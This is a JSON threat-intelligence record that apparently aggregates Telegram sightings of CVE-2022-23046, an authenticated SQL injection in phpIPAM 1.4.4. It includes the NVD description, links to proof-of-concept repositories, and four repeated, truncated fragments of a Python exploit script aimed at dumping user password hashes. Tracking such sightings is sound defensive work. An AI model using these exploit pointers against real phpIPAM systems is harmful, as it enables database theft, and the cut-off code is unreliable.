{"vulnerability": "cve-2022-23046", "sightings": [{"uuid": "59da0f6a-0458-4853-89d9-8a51cf127ecf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23046", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2274", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aTinker Script for CVE-2022-23046\nURL\uff1ahttps://github.com/bernauers/CVE-2022-23046\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-23T20:50:19.000000Z"}, {"uuid": "b77b7948-3e82-4166-a239-1ce18b2c26a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23046", "type": "seen", "source": "https://t.me/cibsecurity/35902", "content": "\u203c CVE-2022-23046 \u203c\n\nPhpIPAM v1.4.4 allows an authenticated admin user to inject SQL sentences in the \"subnet\" parameter while searching a subnet via app/admin/routing/edit-bgp-mapping-search.php\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-20T00:40:50.000000Z"}, {"uuid": "c1b5f39a-2e4c-4b3e-a480-30d0359b0370", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23046", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/11905", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#sql_injection\nName: *CVE-2022-23046*\nGithub: https://github.com/incogbyte/CVE-2022-23046", "creation_timestamp": "2026-07-31T02:00:04.120728Z"}, {"uuid": "bc0b5ed5-b169-4a00-961a-4cc9566edea3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23046", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/11905", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#sql_injection\nName: *CVE-2022-23046*\nGithub: https://github.com/incogbyte/CVE-2022-23046", "creation_timestamp": "2026-08-01T00:00:44.893569Z"}, {"uuid": "ea52c2e0-b8e7-4f07-974e-5d19f7e57f9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23046", "type": "seen", "source": "https://t.me/CVEhub/11905", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#sql_injection\nName: *CVE-2022-23046*\nGithub: https://github.com/incogbyte/CVE-2022-23046", "creation_timestamp": "2026-07-29T12:00:34.750031Z"}, {"uuid": "3f8301da-58e3-4b8e-ba4c-c20c7c4a0ae5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23046", "type": "seen", "source": "https://t.me/CVEhub/11905", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#sql_injection\nName: *CVE-2022-23046*\nGithub: https://github.com/incogbyte/CVE-2022-23046", "creation_timestamp": "2026-07-30T00:01:00.591979Z"}, {"uuid": "dcd50887-0157-4b07-8b16-5f080465e01d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23046", "type": "seen", "source": "https://t.me/hacking_Attack/40154", "content": "Exploit Collector\nPHPIPAM 1.4.4 SQL Injection\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nPHPIPAM version 1.4.4 suffers from an authenticated remote SQL injection vulnerability.\n\nMD5 | 4b8d5d6218feb96b1ddd63205a5b1750\n\nDownload\n# Exploit Title: PHPIPAM 1.4.4 - SQLi (Authenticated)\n# Google Dork: [if applicable]\n# Date: 20/01/2022\n# Exploit Author: Rodolfo \"Inc0gbyt3\" Tavares\n# Vendor Homepage: https://github.com/phpipam/phpipam\n# Software Link: https://github.com/phpipam/phpipam\n# Version: 1.4.4\n# Tested on: Linux/Windows\n# CVE : CVE-2022-23046\n\nimport requests\nimport sys\nimport argparse\n\n################\n\"\"\"\nAuthor of exploit: Rodolfo 'Inc0gbyt3' Tavares\nCVE: CVE-2022-23046\nType: SQL Injection\n\nUsage:\n\n$ python3 -m pip install requests\n$ python3 exploit.py -u http://localhost:8082 -U  Users and hash passwords: \\n\\n{r.text}\")\nprint(\"\\n\\n> DONE \nexcept Exception as e:\nprint(f\"[-] {e}\")\nif __name__ == '__main__':\nexploit_sqli()\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:58.750445Z"}, {"uuid": "2ec65cd5-7958-4524-80e3-a11bd83fd85d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23046", "type": "seen", "source": "https://t.me/hacking_Attack/40154", "content": "Exploit Collector\nPHPIPAM 1.4.4 SQL Injection\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nPHPIPAM version 1.4.4 suffers from an authenticated remote SQL injection vulnerability.\n\nMD5 | 4b8d5d6218feb96b1ddd63205a5b1750\n\nDownload\n# Exploit Title: PHPIPAM 1.4.4 - SQLi (Authenticated)\n# Google Dork: [if applicable]\n# Date: 20/01/2022\n# Exploit Author: Rodolfo \"Inc0gbyt3\" Tavares\n# Vendor Homepage: https://github.com/phpipam/phpipam\n# Software Link: https://github.com/phpipam/phpipam\n# Version: 1.4.4\n# Tested on: Linux/Windows\n# CVE : CVE-2022-23046\n\nimport requests\nimport sys\nimport argparse\n\n################\n\"\"\"\nAuthor of exploit: Rodolfo 'Inc0gbyt3' Tavares\nCVE: CVE-2022-23046\nType: SQL Injection\n\nUsage:\n\n$ python3 -m pip install requests\n$ python3 exploit.py -u http://localhost:8082 -U  Users and hash passwords: \\n\\n{r.text}\")\nprint(\"\\n\\n> DONE \nexcept Exception as e:\nprint(f\"[-] {e}\")\nif __name__ == '__main__':\nexploit_sqli()\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:02:21.231628Z"}, {"uuid": "3aa51c4c-672d-4658-9344-2f5c4fc43331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23046", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40154", "content": "Exploit Collector\nPHPIPAM 1.4.4 SQL Injection\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nPHPIPAM version 1.4.4 suffers from an authenticated remote SQL injection vulnerability.\n\nMD5 | 4b8d5d6218feb96b1ddd63205a5b1750\n\nDownload\n# Exploit Title: PHPIPAM 1.4.4 - SQLi (Authenticated)\n# Google Dork: [if applicable]\n# Date: 20/01/2022\n# Exploit Author: Rodolfo \"Inc0gbyt3\" Tavares\n# Vendor Homepage: https://github.com/phpipam/phpipam\n# Software Link: https://github.com/phpipam/phpipam\n# Version: 1.4.4\n# Tested on: Linux/Windows\n# CVE : CVE-2022-23046\n\nimport requests\nimport sys\nimport argparse\n\n################\n\"\"\"\nAuthor of exploit: Rodolfo 'Inc0gbyt3' Tavares\nCVE: CVE-2022-23046\nType: SQL Injection\n\nUsage:\n\n$ python3 -m pip install requests\n$ python3 exploit.py -u http://localhost:8082 -U  Users and hash passwords: \\n\\n{r.text}\")\nprint(\"\\n\\n> DONE \nexcept Exception as e:\nprint(f\"[-] {e}\")\nif __name__ == '__main__':\nexploit_sqli()\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-06T12:00:05.804127Z"}, {"uuid": "61e83a8c-5f62-48f4-9686-f1417c4bd396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23046", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40154", "content": "Exploit Collector\nPHPIPAM 1.4.4 SQL Injection\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nPHPIPAM version 1.4.4 suffers from an authenticated remote SQL injection vulnerability.\n\nMD5 | 4b8d5d6218feb96b1ddd63205a5b1750\n\nDownload\n# Exploit Title: PHPIPAM 1.4.4 - SQLi (Authenticated)\n# Google Dork: [if applicable]\n# Date: 20/01/2022\n# Exploit Author: Rodolfo \"Inc0gbyt3\" Tavares\n# Vendor Homepage: https://github.com/phpipam/phpipam\n# Software Link: https://github.com/phpipam/phpipam\n# Version: 1.4.4\n# Tested on: Linux/Windows\n# CVE : CVE-2022-23046\n\nimport requests\nimport sys\nimport argparse\n\n################\n\"\"\"\nAuthor of exploit: Rodolfo 'Inc0gbyt3' Tavares\nCVE: CVE-2022-23046\nType: SQL Injection\n\nUsage:\n\n$ python3 -m pip install requests\n$ python3 exploit.py -u http://localhost:8082 -U  Users and hash passwords: \\n\\n{r.text}\")\nprint(\"\\n\\n> DONE \nexcept Exception as e:\nprint(f\"[-] {e}\")\nif __name__ == '__main__':\nexploit_sqli()\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-07T01:00:15.053865Z"}]}